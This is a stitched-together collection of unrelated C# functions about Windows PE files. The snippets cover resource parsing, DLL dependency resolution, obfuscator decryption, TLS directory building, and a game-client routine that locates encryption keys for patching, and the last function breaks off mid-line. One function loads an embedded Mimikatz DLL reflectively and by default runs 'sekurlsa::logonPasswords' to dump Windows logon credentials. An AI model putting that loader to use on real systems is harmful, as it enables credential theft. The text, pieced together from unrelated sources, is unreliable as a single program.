internal ResourceDirectory(PeImage image, uint offset, ResourceDirectoryEntry parentEntry, ResourceDirectoryEntry[] childEntries, PE.Structures.IMAGE_RESOURCE_DIRECTORY rawDirectory) { this.image = image; this.ParentEntry = parentEntry; this.ChildEntries = childEntries; this.offset = offset; this.rawDirectory = rawDirectory; }
internal ResourceDirectory(PeImage image, uint offset, ResourcesReader reader, ResourceDirectoryEntry parentEntry, PE.Structures.IMAGE_RESOURCE_DIRECTORY rawDirectory) { this._image = image; this.ParentEntry = parentEntry; this._offset = offset; this._fileOffset = offset + image.ParentAssembly._ntHeader.OptionalHeader.DataDirectories[(int)DataDirectoryName.Resource].TargetOffset.FileOffset; this._rawDirectory = rawDirectory; this._reader = reader; }
internal Section(PE.PeHeaderReader reader, uint headeroffset, string name, uint roffset, uint rsize, uint voffset, uint vsize, uint flags) { this.name = name; this.roffset = roffset; this.rsize = rsize; this.voffset = voffset; this.vsize = vsize; this.flags = flags; this.headeroffset = headeroffset; this.headerreader = reader; assembly = reader.assembly; }
public TranslationContext(TypeRef resultType, PE.Instruction[] instructions, IImSeq<PE.ExceptionHandlingClause> handlers) { Parent = null; Start = 0; ResultType = resultType; Instructions = instructions; Handlers = handlers; var offsetToIndex = new Map<int, int>(); for (var i = 0; i < instructions.Length; i++) { if (offsetToIndex.ContainsKey(instructions[i].Offset)) throw new InvalidOperationException("instructions share same offset"); offsetToIndex.Add(instructions[i].Offset, i); } OffsetToIndex = offsetToIndex; var tryOffsets = new Set<int>(); var indexToHandler = new Map<int, PE.ExceptionHandlingClause>(); var indexToFilter = new Map<int, PE.ExceptionHandlingClause>(); foreach (var ehc in handlers) { if (!tryOffsets.Contains(ehc.TryOffset)) tryOffsets.Add(ehc.TryOffset); var i = OffsetToIndex[ehc.HandlerOffset]; indexToHandler.Add(i, ehc); if (ehc.Flags == PE.CorILExceptionClause.Filter) { var j = OffsetToIndex[ehc.FilterOffset]; indexToHandler.Add(j, ehc); } } TryOffsets = tryOffsets; IndexToHandler = indexToHandler; IndexToFilter = indexToFilter; }
public DecrypterBase(PE.PeImage peImage, CodeHeader codeHeader) { this.peImage = peImage; this.codeHeader = codeHeader; endOfMetadata = peImage.rvaToOffset(peImage.Cor20Header.metadataDirectory.virtualAddress + peImage.Cor20Header.metadataDirectory.size); }
public ProDecrypter(PE.PeImage peImage, CodeHeader codeHeader) : base(peImage, codeHeader) { for (int i = 0; i < 4; i++) key[i] = be_readUint32(codeHeader.decryptionKey, i * 4); }
private void ProcessClrImports(Dictionary <string, ImportContext> NewTreeContexts, PE AnalyzedPe, ImportContext ImportModule) { List <PeImportDll> PeImports = AnalyzedPe.GetImports(); // only mscorre triggers clr parsing string User32Filepath = Path.Combine(FindPe.GetSystemPath(this.Pe), "mscoree.dll"); if (ImportModule.PeFilePath != User32Filepath) { return; } var resolver = new DefaultAssemblyResolver(); resolver.AddSearchDirectory(RootFolder); // Parse it via cecil AssemblyDefinition PeAssembly = null; try { PeAssembly = AssemblyDefinition.ReadAssembly(AnalyzedPe.Filepath); } catch (BadImageFormatException) { MessageBoxResult result = MessageBox.Show( String.Format("Cecil could not correctly parse {0:s}, which can happens on .NET Core executables. CLR imports will be not shown", AnalyzedPe.Filepath), "CLR parsing fail" ); return; } foreach (var module in PeAssembly.Modules) { // Process CLR referenced assemblies foreach (var assembly in module.AssemblyReferences) { AssemblyDefinition definition; try { definition = resolver.Resolve(assembly); } catch (AssemblyResolutionException) { ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = Path.GetFileName(assembly.Name); AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = ModuleFlag.ClrReference; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.ClrAssembly; AppInitImportModule.Flags |= ModuleFlag.NotFound; if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName)) { NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule); } continue; } foreach (var AssemblyModule in definition.Modules) { Debug.WriteLine("Referenced Assembling loading " + AssemblyModule.Name + " : " + AssemblyModule.FileName); // Do not process twice the same imported module if (null != PeImports.Find(mod => mod.Name == Path.GetFileName(AssemblyModule.FileName))) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = Path.GetFileName(AssemblyModule.FileName); AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = ModuleFlag.ClrReference; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.ClrAssembly; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule( this.Pe, AssemblyModule.FileName, this.SxsEntriesCache, this.CustomSearchFolders, this.WorkingDirectory ); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } else { AppInitImportModule.Flags |= ModuleFlag.NotFound; } if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName)) { NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule); } } } // Process unmanaged dlls for native calls foreach (var UnmanagedModule in module.ModuleReferences) { // some clr dll have a reference to an "empty" dll if (UnmanagedModule.Name.Length == 0) { continue; } Debug.WriteLine("Referenced module loading " + UnmanagedModule.Name); // Do not process twice the same imported module if (null != PeImports.Find(m => m.Name == UnmanagedModule.Name)) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = UnmanagedModule.Name; AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = ModuleFlag.ClrReference; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.ClrAssembly; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule( this.Pe, UnmanagedModule.Name, this.SxsEntriesCache, this.CustomSearchFolders, this.WorkingDirectory ); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } if (!NewTreeContexts.ContainsKey(AppInitImportModule.ModuleName)) { NewTreeContexts.Add(AppInitImportModule.ModuleName, AppInitImportModule); } } } }
// default search order : // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx // // if (SafeDllSearchMode) { // -1. Sxs manifests // 0. KnownDlls list // 1. Loaded PE folder // 2. C:\Windows\(System32 | SysWow64 ) // 3. 16-bit system directory <-- ignored // 4. C:\Windows // 5. %pwd% // 6. AppDatas // } public static Tuple <ModuleSearchStrategy, string> FindPeFromDefault(PE RootPe, string ModuleName, SxsEntries SxsCache) { bool Wow64Dll = RootPe.IsWow64Dll(); string RootPeFolder = Path.GetDirectoryName(RootPe.Filepath); string FoundPePath = null; Environment.SpecialFolder WindowsSystemFolder = (Wow64Dll) ? Environment.SpecialFolder.SystemX86 : Environment.SpecialFolder.System; String WindowsSystemFolderPath = Environment.GetFolderPath(WindowsSystemFolder); // -1. Look in Sxs manifest (copious reversing needed) // TODO : find dll search order if (SxsCache.Count != 0) { SxsEntry Entry = SxsCache.Find(SxsItem => string.Equals(SxsItem.Name, ModuleName, StringComparison.OrdinalIgnoreCase) ); if (Entry != null) { return(new Tuple <ModuleSearchStrategy, string>(ModuleSearchStrategy.SxS, Entry.Path)); } } // 0. Look in well-known dlls list // HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\KnownDLLs // https://blogs.msdn.microsoft.com/larryosterman/2004/07/19/what-are-known-dlls-anyway/ String KnownDll = Phlib.GetKnownDlls(Wow64Dll).Find(x => string.Equals(x, ModuleName, StringComparison.OrdinalIgnoreCase)); if (KnownDll != null) { return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.WellKnownDlls, Path.Combine(WindowsSystemFolderPath, KnownDll) )); } // 1. Look in application folder FoundPePath = FindPeFromPath(ModuleName, new List <string>(new string[] { RootPeFolder }), Wow64Dll); if (FoundPePath != null) { return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.ApplicationDirectory, FoundPePath )); } // {2-3-4}. Look in system folders List <String> SystemFolders = new List <string>(new string[] { WindowsSystemFolderPath, Environment.GetFolderPath(Environment.SpecialFolder.Windows) } ); FoundPePath = FindPeFromPath(ModuleName, SystemFolders, Wow64Dll); if (FoundPePath != null) { return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.WindowsFolder, FoundPePath )); } // 5. Look in current directory // Ignored for the time being since we can't know from // where the exe is run // TODO : Add a user supplied path emulating %cwd% // 6. Look in local app data (check for python for exemple) // 7. Find in PATH string PATH = Environment.GetEnvironmentVariable("PATH"); List <String> PATHFolders = new List <string>(PATH.Split(';')); FoundPePath = FindPeFromPath(ModuleName, PATHFolders, Wow64Dll); if (FoundPePath != null) { return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.Environment, FoundPePath )); } // 8. Check if it's an absolute import if (File.Exists(ModuleName)) { return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.Fullpath, ModuleName )); } return(new Tuple <ModuleSearchStrategy, string>( ModuleSearchStrategy.NOT_FOUND, null )); }
/// <summary> /// Background processing of a single PE file. /// It can be lengthy since there are disk access (and misses). /// </summary> /// <param name="NewTreeContexts"> This variable is passed as reference to be updated since this function is run in a separate thread. </param> /// <param name="newPe"> Current PE file analyzed </param> private void ProcessPe(List <ImportContext> NewTreeContexts, PE newPe) { List <PeImportDll> PeImports = newPe.GetImports(); Environment.SpecialFolder WindowsSystemFolder = (this.Pe.IsWow64Dll()) ? Environment.SpecialFolder.SystemX86 : Environment.SpecialFolder.System; string User32Filepath = Path.Combine(Environment.GetFolderPath(WindowsSystemFolder), "user32.dll"); string MsCoreeFilepath = Path.Combine(Environment.GetFolderPath(WindowsSystemFolder), "mscoree.dll"); foreach (PeImportDll DllImport in PeImports) { ImportContext ImportModule = new ImportContext(); ImportModule.PeFilePath = null; ImportModule.PeProperties = null; ImportModule.ModuleName = DllImport.Name; ImportModule.ApiSetModuleName = null; ImportModule.Flags = 0; if (DllImport.IsDelayLoad()) { ImportModule.Flags |= ModuleFlag.DelayLoad; } // Find Dll in "paths" Tuple <ModuleSearchStrategy, PE> ResolvedModule = BinaryCache.ResolveModule(this.Pe, DllImport.Name, this.SxsEntriesCache); ImportModule.ModuleLocation = ResolvedModule.Item1; if (ImportModule.ModuleLocation != ModuleSearchStrategy.NOT_FOUND) { ImportModule.PeProperties = ResolvedModule.Item2; ImportModule.PeFilePath = ResolvedModule.Item2.Filepath; } // special case for apiset schema ImportModule.IsApiSet = (ImportModule.ModuleLocation == ModuleSearchStrategy.ApiSetSchema); if (ImportModule.IsApiSet) { ImportModule.ApiSetModuleName = BinaryCache.LookupApiSetLibrary(DllImport.Name); } // add warning for appv isv applications if (String.Compare(DllImport.Name, "AppvIsvSubsystems32.dll", StringComparison.OrdinalIgnoreCase) == 0 || String.Compare(DllImport.Name, "AppvIsvSubsystems64.dll", StringComparison.OrdinalIgnoreCase) == 0) { if (!this._DisplayWarning) { MessageBoxResult result = MessageBox.Show( "This binary use the App-V containerization technology which fiddle with search directories and PATH env in ways Dependencies can't handle.\n\nFollowing results are probably not quite exact.", "App-V ISV disclaimer" ); this._DisplayWarning = true; // prevent the same warning window to popup several times } } NewTreeContexts.Add(ImportModule); // AppInitDlls are triggered by user32.dll, so if the binary does not import user32.dll they are not loaded. if (ImportModule.PeFilePath == User32Filepath) { string AppInitRegistryKey = (this.Pe.IsWow64Dll()) ? "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" : "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"; int LoadAppInitDlls = (int)Registry.GetValue(AppInitRegistryKey, "LoadAppInit_DLLs", 0); string AppInitDlls = (string)Registry.GetValue(AppInitRegistryKey, "AppInit_DLLs", ""); if ((LoadAppInitDlls != 0) && (AppInitDlls != "")) { // Extremely crude parser. TODO : Add support for quotes wrapped paths with spaces foreach (var AppInitDll in AppInitDlls.Split(' ')) { Debug.WriteLine("AppInit loading " + AppInitDll); // Do not process twice the same imported module if (null != PeImports.Find(module => module.Name == AppInitDll)) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = AppInitDll; AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = 0; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.AppInitDLL; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, AppInitDll, this.SxsEntriesCache); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } NewTreeContexts.Add(AppInitImportModule); } } } // if mscoree.dll is imported, it means the module is a C# assembly, and we can use Mono.Cecil to enumerate its references if (ImportModule.PeFilePath == MsCoreeFilepath) { var resolver = new DefaultAssemblyResolver(); resolver.AddSearchDirectory(RootFolder); AssemblyDefinition PeAssembly = AssemblyDefinition.ReadAssembly(newPe.Filepath); foreach (var module in PeAssembly.Modules) { // Process CLR referenced assemblies foreach (var assembly in module.AssemblyReferences) { AssemblyDefinition definition = resolver.Resolve(assembly); foreach (var AssemblyModule in definition.Modules) { Debug.WriteLine("Referenced Assembling loading " + AssemblyModule.Name + " : " + AssemblyModule.FileName); // Do not process twice the same imported module if (null != PeImports.Find(mod => mod.Name == Path.GetFileName(AssemblyModule.FileName))) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = Path.GetFileName(AssemblyModule.FileName); AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = ModuleFlag.ClrReference; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.ClrAssembly; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, AssemblyModule.FileName, this.SxsEntriesCache); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } NewTreeContexts.Add(AppInitImportModule); } } // Process unmanaged dlls for native calls foreach (var UnmanagedModule in module.ModuleReferences) { // some clr dll have a reference to an "empty" dll if (UnmanagedModule.Name.Length == 0) { continue; } Debug.WriteLine("Referenced module loading " + UnmanagedModule.Name); // Do not process twice the same imported module if (null != PeImports.Find(m => m.Name == UnmanagedModule.Name)) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = UnmanagedModule.Name; AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = ModuleFlag.ClrReference; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.ClrAssembly; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule(this.Pe, UnmanagedModule.Name, this.SxsEntriesCache); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } NewTreeContexts.Add(AppInitImportModule); } } } } }
/// <summary> /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command. /// </summary> /// <param name="Command">Mimikatz command to be executed.</param> /// <returns>Mimikatz output.</returns> public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords") { // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames())); if (MimikatzPE == null) { string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames(); if (IntPtr.Size == 4 && MimikatzPE == null) { if (PEBytes32 == null) { PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll"); if (PEBytes32 == null) { return(""); } } MimikatzPE = PE.Load(PEBytes32); } else if (IntPtr.Size == 8 && MimikatzPE == null) { if (PEBytes64 == null) { PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll"); if (PEBytes64 == null) { return(""); } } MimikatzPE = PE.Load(PEBytes64); } } if (MimikatzPE == null) { return(""); } IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz"); if (functionPointer == IntPtr.Zero) { return(""); } MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType)); IntPtr input = Marshal.StringToHGlobalUni(Command); try { IntPtr output = IntPtr.Zero; Thread t = new Thread(() => { try { output = mimikatz(input); } catch (Exception e) { Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace); } }); t.Start(); t.Join(); Marshal.FreeHGlobal(input); if (output == IntPtr.Zero) { return(""); } string stroutput = Marshal.PtrToStringUni(output); PInvoke.Win32.Kernel32.LocalFree(output); return(stroutput); } catch (Exception e) { Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace); return(""); } }
private void DumpFile(string target, bool verbose) { PE pe; var sb = new StringBuilder(); try { pe = new PE(target); } catch (UnauthorizedAccessException) { Console.WriteLine(Path.GetFileName(target) + ": Unauthorized access exception"); return; } sb.AppendLine(Path.GetFileName(pe.FileName) + ":"); if (verbose) { sb.AppendLine(Indent + "Path: " + pe.FileName); } sb.Append(Indent + "Attr: "); if (!pe.IsPEFile) { sb.AppendLine("Not a portable executable"); sb.AppendLine(); return; } string language = pe.IsManaged ? "Pure Managed" : "Native"; if (pe.IsManaged && !pe.IsILOnly) { language = "Mixed Managed"; } sb.Append(language); string machine = pe.Machine.ToString(); sb.Append(Delimiter + machine); string subsystem = pe.Subsystem.ToString(); sb.Append(Delimiter + subsystem); if (pe.IsKernelMode) { sb.Append(Delimiter + "Kernel Mode"); } if (pe.IsResourceOnly) { sb.Append(Delimiter + "Resource Only"); } sb.Append(Delimiter + "Link " + pe.LinkerVersion.ToString()); sb.AppendLine(); // Close comma-separated attributes line sb.Append(Indent + "Pdb : "); Pdb pdb = null; try { pdb = new Pdb(pe.FileName); } catch (PdbException pdbParseException) { sb.AppendLine(pdbParseException.ExceptionCode.ToString()); } if (pdb != null) { if (verbose) { sb.AppendLine(pdb.PdbLocation); } else { sb.AppendLine(Path.GetFileName(pdb.PdbLocation)); } } sb.AppendLine(Indent + "SHA1: " + pe.SHA1Hash); Console.Out.WriteLineAsync(sb.ToString()); }
private bool InitClientVersion() { const int MAX_STEPS_FORWARD = 4; const int MIN_CLIENT_VERSION = 1000; const int MAX_CLIENT_VERSION = 5000; var pattern = Pattern.Transform("68 C3 12 00 00"); long offset; if (!Pattern.Find(_data, pattern, out offset)) { Log.Error("Failed to find resource offset."); return(false); } MemoryStream ms = (MemoryStream)PE.GetStream(); ms.Seek(offset, SeekOrigin.Begin); byte[] buff = new byte[4]; ms.Read(buff, 0, 4, 1); int resourceId = BitConverter.ToInt32(buff, 0); if (resourceId != 4803) { Log.Error($"Invalid resource id: {resourceId}. Are we at the right place? :)"); return(false); } // https://c9x.me/x86/html/file_module_x86_id_35.html byte[] cmps = { 0x81, 0x3D }; long originOffset = ms.Position; long stepsBack = 72; long startOffset = originOffset - stepsBack; foreach (byte cmp in cmps) { ms.Position = startOffset; // while it's not a compare instruction, keep reading byte bites ;) do { ms.Read(buff, 0, 1); if (ms.Position > originOffset) { Log.Error("Could not find a compare instruction to determine the right offset for the client version."); return(false); } } while (buff[0] != cmp); for (int i = 0; i < MAX_STEPS_FORWARD; i++) { ms.Read(buff, 0, 4); int version = BitConverter.ToInt32(buff, 0); if (version > MIN_CLIENT_VERSION && version < MAX_CLIENT_VERSION) { ClientVersion = version; Log.Info("Found client internal version v" + ClientVersion); return(true); } ms.Position -= 3; } } Log.Error("Could not find client version."); return(false); }
public void IncLum(PE pe) { CommonOptions.InsCC cc = pe.CommonParameters.CCParameters; cc.MulLum = Min(cc.MulLum + 0.1f, CommonOptions.InsCC.MulLumMax); }
public void DecLum(PE pe) { CommonOptions.InsCC cc = pe.CommonParameters.CCParameters; cc.MulLum = Max(cc.MulLum - 0.1f, CommonOptions.InsCC.MulLumMin); }
public void Init(PE pe) { enableFlagIndexer = new EnableFlagIndexer(pe); initialized = true; }
public EnableFlagIndexer(PE pe) { this.pe = pe; }
private bool InitKeysOffsets() { CryptoPatches.Clear(); // "N3TableBase - Can't open file(read) File Handle..." var pattern = Pattern.Transform("4E 33 54 61 62 6C 65 42 61 73 65 20 2D 20 43"); // "N3TableBase - C" long offsetLogWrite; if (!Pattern.Find(_data, pattern, out offsetLogWrite)) { Log.Error("Unable to find string offset for 'N3TableBase - Can't open file'."); return(false); } // Generate pattern for finding all references to that string string logWriteVA = Calculator.OffsetToVA((ulong)offsetLogWrite).ToString("X8"); string logWriteGenPattern = "68"; // push for (int i = logWriteVA.Length - 1; i >= 0; --i) { logWriteGenPattern += i % 2 == 0 ? " " + logWriteVA.Substring(i, 2) : ""; } logWriteGenPattern += " E8"; // call Log.Info($"Generated N3TableBase string pattern result: {logWriteGenPattern}"); var patternStrRefRegion = Pattern.Transform(logWriteGenPattern); List <long> regionStrRefOffsets; if (!Pattern.FindAll(_data, patternStrRefRegion, out regionStrRefOffsets)) { Log.Error("No references to N3TableBase string were found."); return(false); } Log.Info($"Found {regionStrRefOffsets.Count} N3TableBase string region offsets."); var patDecryptRegions = new Pattern.Byte[][] { // push ?? <- DWORD as short // push ?? <- DWORD as short // push ?? <- DWORD as short Pattern.Transform("68 ?? ?? 00 00 68 ?? ?? 00 00 68 ?? ?? 00 00 ?? ?? E8"), //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 55 FF"), //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 56 FF"), //Pattern.Transform("FF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 57 FF"), // call ?? <- ReadFile // push ebp|esi|edi // call ?? <- CloseHandle // xor reg,reg Pattern.Transform("FF ?? ?? ?? ?? ?? 55 FF"), Pattern.Transform("FF ?? ?? ?? ?? ?? 56 FF"), Pattern.Transform("FF ?? ?? ?? ?? ?? 57 FF"), }; const int ENCRYPT_REGION_MIN = 50; const int ENCRYPT_REGION_MAX = 700; const int ESTIMATED_DES_RANGE_BYTES = 280; bool detectedDesEncryption = false; foreach (long regionStrRefOffset in regionStrRefOffsets) { long decryptRegionOffset = -1; bool isInlinedFunction = false; for (int i = 0; i < patDecryptRegions.Length; i++) { if (!Pattern.Find(_data, patDecryptRegions[i], out decryptRegionOffset, regionStrRefOffset + ENCRYPT_REGION_MIN, regionStrRefOffset + ENCRYPT_REGION_MAX)) { continue; } // Estimate average distance by bytes, to know whether there is more code for DES encryption before XOR. if (!detectedDesEncryption && (decryptRegionOffset - regionStrRefOffset) > ESTIMATED_DES_RANGE_BYTES) { detectedDesEncryption = true; } // First pattern: we know it's a function that got inlined by the compiler. // +5 for ptr & +2 for xor reg,reg isInlinedFunction = i != 0; if (isInlinedFunction) { CanUpdateKey2 = false; decryptRegionOffset += patDecryptRegions[i].Length + 5 + 2; } break; } if (decryptRegionOffset == -1) { Log.Warn($"Could not find decryption offset from the string offset 0x{Calculator.OffsetToVA((ulong)regionStrRefOffset):X8}"); Log.Warn("Skipping to the next one..."); continue; } CryptoKey[] keys = new CryptoKey[CryptoPatch.KEYS_COUNT]; MemoryStream ms = (MemoryStream)PE.GetStream(); ms.Seek(decryptRegionOffset, SeekOrigin.Begin); if (isInlinedFunction) { if (!InitInlinedKeys(keys, ms)) { Log.Error("Failed to find inlined keys offsets."); return(false); } } else { for (int i = CryptoPatch.KEYS_COUNT - 1; i >= 0; i--) { DWORD dword; ms.Position++; dword = ms.ReadStructure <DWORD>(); keys[i] = new CryptoKey((ms.Position - 4), (ushort)dword.sValue1, (long)Calculator.OffsetToVA((ulong)(ms.Position - 4))); } } long keyVA = (long)Calculator.OffsetToVA((ulong)decryptRegionOffset); var patch = new CryptoPatch(decryptRegionOffset, keyVA, keys, isInlinedFunction); CryptoPatches.Add(patch); } // Update the container cryption type, so we know what we deal with CryptoPatches.CryptoType = detectedDesEncryption ? CryptoType.DES_XOR : CryptoType.XOR; if (CryptoPatches.Count != regionStrRefOffsets.Count) { Log.Error("Mismatch count of Crypto-Patches count vs N3TableBase string offsets."); return(false); } if (!VerifyAllMatchedKeys(CryptoPatches)) { return(false); } return(true); }
public virtual bool Within(PE.ExceptionHandlingClause ehc) { return Parent != null && Parent.Within(ehc); }
public PEImports(PE _Application) { Application = _Application; Imports = Application.GetImports(); }
public FilterTranslationContext(TranslationContext parent, int start, PE.ExceptionHandlingClause clause) : base(parent, start) { Clause = clause; }
public PEExports(PE _Application) { Application = _Application; Exports = Application.GetExports(); }
public static void DumpImports(PE Pe, Action <IPrettyPrintable> Printer) { PEImports Imports = new PEImports(Pe); Printer(Imports); }
public SxsDependencies(PE _Application) { Application = _Application; SxS = SxsManifest.GetSxsEntries(Application); }
public unsafe override void Build() { if (_dataBlob == null || _dataBlob.Length == 0) { return; } var relocBuilder = PE.Tasks.Get <BaseRelocationBuilder>(); if (relocBuilder == null) { return; } var relocTable = relocBuilder.GetOrCreateTable(); _blob = new BuildBlob(); int pos = 0; if (PE.Is32Bits) { // Header PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, 0)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (uint)0); // StartAddressOfRawData PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, _dataBlob.Length)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (uint)0); // EndAddressOfRawData PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader32) + 4)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (uint)0); // AddressOfIndex PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader32))); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (uint)0); // AddressOfCallBacks _blob.Write(ref pos, (int)0); // SizeOfZeroFill _blob.Write(ref pos, (uint)0); // Characteristics // CallBacks _blob.Write(ref pos, (uint)0); // Index _blob.Write(ref pos, (uint)0xCCCCCCCC); // Does't really matter, the OS will fill it in } else { PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, 0)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (ulong)0); // StartAddressOfRawData PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, _dataBlob.Length)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (ulong)0); // EndAddressOfRawData PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader64) + 8)); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (ulong)0); // AddressOfIndex PE.Fixups.Add(new WriteVAFixup(_blob, pos, _dataBlob, sizeof(TLSHeader64))); relocTable.Add(_blob, pos, BaseRelocationType.HIGHLOW); _blob.Write(ref pos, (ulong)0); // AddressOfCallBacks _blob.Write(ref pos, (int)0); // SizeOfZeroFill _blob.Write(ref pos, (uint)0); // Characteristics // CallBacks _blob.Write(ref pos, (ulong)0); // Index _blob.Write(ref pos, (ulong)0xCCCCCCCC); // Does't really matter, the OS will fill it in } // Set data directories PE.Fixups.Add(new SetDataDirectoryFixup(_blob)); // Add _blobs BuildSection section = PE.GetSection(_sectionName); section.Blobs.Add(_blob, _blobPriority); }
public static void DumpApiSets(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0) { NtApiSet ApiSet = new NtApiSet(Application); Printer(ApiSet); }
private void ProcessAppInitDlls(Dictionary <string, ImportContext> NewTreeContexts, PE AnalyzedPe, ImportContext ImportModule) { List <PeImportDll> PeImports = AnalyzedPe.GetImports(); // only user32 triggers appinit dlls string User32Filepath = Path.Combine(FindPe.GetSystemPath(this.Pe), "user32.dll"); if (ImportModule.PeFilePath != User32Filepath) { return; } string AppInitRegistryKey = (this.Pe.IsArm32Dll()) ? "SOFTWARE\\WowAA32Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" : (this.Pe.IsWow64Dll()) ? "SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows" : "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"; // Opening registry values RegistryKey localKey = RegistryKey.OpenBaseKey(Microsoft.Win32.RegistryHive.LocalMachine, RegistryView.Registry64); localKey = localKey.OpenSubKey(AppInitRegistryKey); int LoadAppInitDlls = (int)localKey.GetValue("LoadAppInit_DLLs", 0); string AppInitDlls = (string)localKey.GetValue("AppInit_DLLs", ""); if (LoadAppInitDlls == 0 || String.IsNullOrEmpty(AppInitDlls)) { return; } // Extremely crude parser. TODO : Add support for quotes wrapped paths with spaces foreach (var AppInitDll in AppInitDlls.Split(' ')) { Debug.WriteLine("AppInit loading " + AppInitDll); // Do not process twice the same imported module if (null != PeImports.Find(module => module.Name == AppInitDll)) 